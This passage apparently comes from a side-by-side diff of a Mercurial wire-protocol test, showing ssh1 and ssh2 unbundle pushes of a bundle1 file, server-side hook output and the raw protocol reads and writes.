1751 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1751 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1752 i> \x00\x00\x00\x00\x00\x00\x00\x00
1752 i> \x00\x00\x00\x00\x00\x00\x00\x00
1753 i> write(2) -> None:
1753 i> write(2) -> 2:
1754 i> 0\n
1754 i> 0\n
1755 i> flush() -> None
1755 i> flush() -> None
1756 o> readline() -> 2:
1756 o> readline() -> 2:
1757 o> 0\n
1757 o> 0\n
1758 o> readline() -> 2:
1758 o> readline() -> 2:
1759 o> 1\n
1759 o> 1\n
1760 o> read(1) -> 1: 0
1760 o> read(1) -> 1: 0
1761 result: 0
1761 result: 0
1762 remote output:
1762 remote output:
1763 e> read(-1) -> 273:
1763 e> read(-1) -> 273:
1764 e> adding changesets\n
1764 e> adding changesets\n
1765 e> adding manifests\n
1765 e> adding manifests\n
1766 e> adding file changes\n
1766 e> adding file changes\n
1767 e> added 1 changesets with 1 changes to 1 files\n
1767 e> added 1 changesets with 1 changes to 1 files\n
1768 e> shell stdout 1\n
1768 e> shell stdout 1\n
1769 e> shell stderr 1\n
1769 e> shell stderr 1\n
1770 e> shell stdout 2\n
1770 e> shell stdout 2\n
1771 e> shell stderr 2\n
1771 e> shell stderr 2\n
1772 e> stderr 1\n
1772 e> stderr 1\n
1773 e> stderr 2\n
1773 e> stderr 2\n
1774 e> stdout 1\n
1774 e> stdout 1\n
1775 e> stdout 2\n
1775 e> stdout 2\n
1776 e> transaction abort!\n
1776 e> transaction abort!\n
1777 e> rollback completed\n
1777 e> rollback completed\n
1778 e> abort: pretxnchangegroup.b hook failed\n
1778 e> abort: pretxnchangegroup.b hook failed\n
1779
1779
1780 $ cd ..
1780 $ cd ..
1781
1781
1782 Pushing a bundle1 with no output
1782 Pushing a bundle1 with no output
1783
1783
1784 $ hg init simplerepo
1784 $ hg init simplerepo
1785 $ cd simplerepo
1785 $ cd simplerepo
1786
1786
1787 $ debugwireproto 1 << EOF
1787 $ debugwireproto 1 << EOF
1788 > command unbundle
1788 > command unbundle
1789 > # This is "force" in hex.
1789 > # This is "force" in hex.
1790 > heads 666f726365
1790 > heads 666f726365
1791 > PUSHFILE ../initial.v1.hg
1791 > PUSHFILE ../initial.v1.hg
1792 > readavailable
1792 > readavailable
1793 > EOF
1793 > EOF
1794 testing ssh1
1794 testing ssh1
1795 creating ssh peer from handshake results
1795 creating ssh peer from handshake results
1796 i> write(104) -> None:
1796 i> write(104) -> 104:
1797 i> hello\n
1797 i> hello\n
1798 i> between\n
1798 i> between\n
1799 i> pairs 81\n
1799 i> pairs 81\n
1800 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1800 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1801 i> flush() -> None
1801 i> flush() -> None
1802 o> readline() -> 4:
1802 o> readline() -> 4:
1803 o> 384\n
1803 o> 384\n
1804 o> readline() -> 384:
1804 o> readline() -> 384:
1805 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1805 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1806 o> readline() -> 2:
1806 o> readline() -> 2:
1807 o> 1\n
1807 o> 1\n
1808 o> readline() -> 1:
1808 o> readline() -> 1:
1809 o> \n
1809 o> \n
1810 sending unbundle command
1810 sending unbundle command
1811 i> write(9) -> None:
1811 i> write(9) -> 9:
1812 i> unbundle\n
1812 i> unbundle\n
1813 i> write(9) -> None:
1813 i> write(9) -> 9:
1814 i> heads 10\n
1814 i> heads 10\n
1815 i> write(10) -> None: 666f726365
1815 i> write(10) -> 10: 666f726365
1816 i> flush() -> None
1816 i> flush() -> None
1817 o> readline() -> 2:
1817 o> readline() -> 2:
1818 o> 0\n
1818 o> 0\n
1819 i> write(4) -> None:
1819 i> write(4) -> 4:
1820 i> 426\n
1820 i> 426\n
1821 i> write(426) -> None:
1821 i> write(426) -> 426:
1822 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1822 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1823 i> test\n
1823 i> test\n
1824 i> 0 0\n
1824 i> 0 0\n
1825 i> foo\n
1825 i> foo\n
1826 i> \n
1826 i> \n
1827 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1827 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1828 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1828 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1829 i> \x00\x00\x00\x00\x00\x00\x00\x00
1829 i> \x00\x00\x00\x00\x00\x00\x00\x00
1830 i> write(2) -> None:
1830 i> write(2) -> 2:
1831 i> 0\n
1831 i> 0\n
1832 i> flush() -> None
1832 i> flush() -> None
1833 o> readline() -> 2:
1833 o> readline() -> 2:
1834 o> 0\n
1834 o> 0\n
1835 o> readline() -> 2:
1835 o> readline() -> 2:
1836 o> 1\n
1836 o> 1\n
1837 o> read(1) -> 1: 1
1837 o> read(1) -> 1: 1
1838 result: 1
1838 result: 1
1839 remote output:
1839 remote output:
1840 e> read(-1) -> 100:
1840 e> read(-1) -> 100:
1841 e> adding changesets\n
1841 e> adding changesets\n
1842 e> adding manifests\n
1842 e> adding manifests\n
1843 e> adding file changes\n
1843 e> adding file changes\n
1844 e> added 1 changesets with 1 changes to 1 files\n
1844 e> added 1 changesets with 1 changes to 1 files\n
1845
1845
1846 testing ssh2
1846 testing ssh2
1847 creating ssh peer from handshake results
1847 creating ssh peer from handshake results
1848 i> write(171) -> None:
1848 i> write(171) -> 171:
1849 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1849 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1850 i> hello\n
1850 i> hello\n
1851 i> between\n
1851 i> between\n
1852 i> pairs 81\n
1852 i> pairs 81\n
1853 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1853 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1854 i> flush() -> None
1854 i> flush() -> None
1855 o> readline() -> 62:
1855 o> readline() -> 62:
1856 o> upgraded * exp-ssh-v2-0001\n (glob)
1856 o> upgraded * exp-ssh-v2-0001\n (glob)
1857 o> readline() -> 4:
1857 o> readline() -> 4:
1858 o> 383\n
1858 o> 383\n
1859 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1859 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1860 o> read(1) -> 1:
1860 o> read(1) -> 1:
1861 o> \n
1861 o> \n
1862 sending unbundle command
1862 sending unbundle command
1863 i> write(9) -> None:
1863 i> write(9) -> 9:
1864 i> unbundle\n
1864 i> unbundle\n
1865 i> write(9) -> None:
1865 i> write(9) -> 9:
1866 i> heads 10\n
1866 i> heads 10\n
1867 i> write(10) -> None: 666f726365
1867 i> write(10) -> 10: 666f726365
1868 i> flush() -> None
1868 i> flush() -> None
1869 o> readline() -> 2:
1869 o> readline() -> 2:
1870 o> 0\n
1870 o> 0\n
1871 i> write(4) -> None:
1871 i> write(4) -> 4:
1872 i> 426\n
1872 i> 426\n
1873 i> write(426) -> None:
1873 i> write(426) -> 426:
1874 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1874 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1875 i> test\n
1875 i> test\n
1876 i> 0 0\n
1876 i> 0 0\n
1877 i> foo\n
1877 i> foo\n
1878 i> \n
1878 i> \n
1879 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1879 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1880 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1880 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1881 i> \x00\x00\x00\x00\x00\x00\x00\x00
1881 i> \x00\x00\x00\x00\x00\x00\x00\x00
1882 i> write(2) -> None:
1882 i> write(2) -> 2:
1883 i> 0\n
1883 i> 0\n
1884 i> flush() -> None
1884 i> flush() -> None
1885 o> readline() -> 2:
1885 o> readline() -> 2:
1886 o> 0\n
1886 o> 0\n
1887 o> readline() -> 2:
1887 o> readline() -> 2:
1888 o> 1\n
1888 o> 1\n
1889 o> read(1) -> 1: 1
1889 o> read(1) -> 1: 1
1890 result: 1
1890 result: 1
1891 remote output:
1891 remote output:
1892 e> read(-1) -> 100:
1892 e> read(-1) -> 100:
1893 e> adding changesets\n
1893 e> adding changesets\n
1894 e> adding manifests\n
1894 e> adding manifests\n
1895 e> adding file changes\n
1895 e> adding file changes\n
1896 e> added 1 changesets with 1 changes to 1 files\n
1896 e> added 1 changesets with 1 changes to 1 files\n
1897
1897
1898 $ cd ..
1898 $ cd ..
1899
1899
1900 Pushing a bundle1 with ui.write() and ui.write_err()
1900 Pushing a bundle1 with ui.write() and ui.write_err()
1901
1901
1902 $ cat > $TESTTMP/hook << EOF
1902 $ cat > $TESTTMP/hook << EOF
1903 > def hookuiwrite(ui, repo, **kwargs):
1903 > def hookuiwrite(ui, repo, **kwargs):
1904 > ui.write('ui.write 1\n')
1904 > ui.write('ui.write 1\n')
1905 > ui.write_err('ui.write_err 1\n')
1905 > ui.write_err('ui.write_err 1\n')
1906 > ui.write('ui.write 2\n')
1906 > ui.write('ui.write 2\n')
1907 > ui.write_err('ui.write_err 2\n')
1907 > ui.write_err('ui.write_err 2\n')
1908 > EOF
1908 > EOF
1909
1909
1910 $ hg init uiwriterepo
1910 $ hg init uiwriterepo
1911 $ cd uiwriterepo
1911 $ cd uiwriterepo
1912 $ cat > .hg/hgrc << EOF
1912 $ cat > .hg/hgrc << EOF
1913 > [hooks]
1913 > [hooks]
1914 > pretxnchangegroup.hook = python:$TESTTMP/hook:hookuiwrite
1914 > pretxnchangegroup.hook = python:$TESTTMP/hook:hookuiwrite
1915 > EOF
1915 > EOF
1916
1916
1917 $ debugwireproto 1 << EOF
1917 $ debugwireproto 1 << EOF
1918 > command unbundle
1918 > command unbundle
1919 > # This is "force" in hex.
1919 > # This is "force" in hex.
1920 > heads 666f726365
1920 > heads 666f726365
1921 > PUSHFILE ../initial.v1.hg
1921 > PUSHFILE ../initial.v1.hg
1922 > readavailable
1922 > readavailable
1923 > EOF
1923 > EOF
1924 testing ssh1
1924 testing ssh1
1925 creating ssh peer from handshake results
1925 creating ssh peer from handshake results
1926 i> write(104) -> None:
1926 i> write(104) -> 104:
1927 i> hello\n
1927 i> hello\n
1928 i> between\n
1928 i> between\n
1929 i> pairs 81\n
1929 i> pairs 81\n
1930 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1930 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1931 i> flush() -> None
1931 i> flush() -> None
1932 o> readline() -> 4:
1932 o> readline() -> 4:
1933 o> 384\n
1933 o> 384\n
1934 o> readline() -> 384:
1934 o> readline() -> 384:
1935 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1935 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1936 o> readline() -> 2:
1936 o> readline() -> 2:
1937 o> 1\n
1937 o> 1\n
1938 o> readline() -> 1:
1938 o> readline() -> 1:
1939 o> \n
1939 o> \n
1940 sending unbundle command
1940 sending unbundle command
1941 i> write(9) -> None:
1941 i> write(9) -> 9:
1942 i> unbundle\n
1942 i> unbundle\n
1943 i> write(9) -> None:
1943 i> write(9) -> 9:
1944 i> heads 10\n
1944 i> heads 10\n
1945 i> write(10) -> None: 666f726365
1945 i> write(10) -> 10: 666f726365
1946 i> flush() -> None
1946 i> flush() -> None
1947 o> readline() -> 2:
1947 o> readline() -> 2:
1948 o> 0\n
1948 o> 0\n
1949 i> write(4) -> None:
1949 i> write(4) -> 4:
1950 i> 426\n
1950 i> 426\n
1951 i> write(426) -> None:
1951 i> write(426) -> 426:
1952 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1952 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1953 i> test\n
1953 i> test\n
1954 i> 0 0\n
1954 i> 0 0\n
1955 i> foo\n
1955 i> foo\n
1956 i> \n
1956 i> \n
1957 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1957 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1958 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1958 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1959 i> \x00\x00\x00\x00\x00\x00\x00\x00
1959 i> \x00\x00\x00\x00\x00\x00\x00\x00
1960 i> write(2) -> None:
1960 i> write(2) -> 2:
1961 i> 0\n
1961 i> 0\n
1962 i> flush() -> None
1962 i> flush() -> None
1963 o> readline() -> 2:
1963 o> readline() -> 2:
1964 o> 0\n
1964 o> 0\n
1965 o> readline() -> 2:
1965 o> readline() -> 2:
1966 o> 1\n
1966 o> 1\n
1967 o> read(1) -> 1: 1
1967 o> read(1) -> 1: 1
1968 result: 1
1968 result: 1
1969 remote output:
1969 remote output:
1970 e> read(-1) -> 152:
1970 e> read(-1) -> 152:
1971 e> adding changesets\n
1971 e> adding changesets\n
1972 e> adding manifests\n
1972 e> adding manifests\n
1973 e> adding file changes\n
1973 e> adding file changes\n
1974 e> added 1 changesets with 1 changes to 1 files\n
1974 e> added 1 changesets with 1 changes to 1 files\n
1975 e> ui.write 1\n
1975 e> ui.write 1\n
1976 e> ui.write_err 1\n
1976 e> ui.write_err 1\n
1977 e> ui.write 2\n
1977 e> ui.write 2\n
1978 e> ui.write_err 2\n
1978 e> ui.write_err 2\n
1979
1979
1980 testing ssh2
1980 testing ssh2
1981 creating ssh peer from handshake results
1981 creating ssh peer from handshake results
1982 i> write(171) -> None:
1982 i> write(171) -> 171:
1983 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1983 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1984 i> hello\n
1984 i> hello\n
1985 i> between\n
1985 i> between\n
1986 i> pairs 81\n
1986 i> pairs 81\n
1987 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1987 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1988 i> flush() -> None
1988 i> flush() -> None
1989 o> readline() -> 62:
1989 o> readline() -> 62:
1990 o> upgraded * exp-ssh-v2-0001\n (glob)
1990 o> upgraded * exp-ssh-v2-0001\n (glob)
1991 o> readline() -> 4:
1991 o> readline() -> 4:
1992 o> 383\n
1992 o> 383\n
1993 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1993 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1994 o> read(1) -> 1:
1994 o> read(1) -> 1:
1995 o> \n
1995 o> \n
1996 sending unbundle command
1996 sending unbundle command
1997 i> write(9) -> None:
1997 i> write(9) -> 9:
1998 i> unbundle\n
1998 i> unbundle\n
1999 i> write(9) -> None:
1999 i> write(9) -> 9:
2000 i> heads 10\n
2000 i> heads 10\n
2001 i> write(10) -> None: 666f726365
2001 i> write(10) -> 10: 666f726365
2002 i> flush() -> None
2002 i> flush() -> None
2003 o> readline() -> 2:
2003 o> readline() -> 2:
2004 o> 0\n
2004 o> 0\n
2005 i> write(4) -> None:
2005 i> write(4) -> 4:
2006 i> 426\n
2006 i> 426\n
2007 i> write(426) -> None:
2007 i> write(426) -> 426:
2008 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
2008 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
2009 i> test\n
2009 i> test\n
2010 i> 0 0\n
2010 i> 0 0\n
2011 i> foo\n
2011 i> foo\n
2012 i> \n
2012 i> \n
2013 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
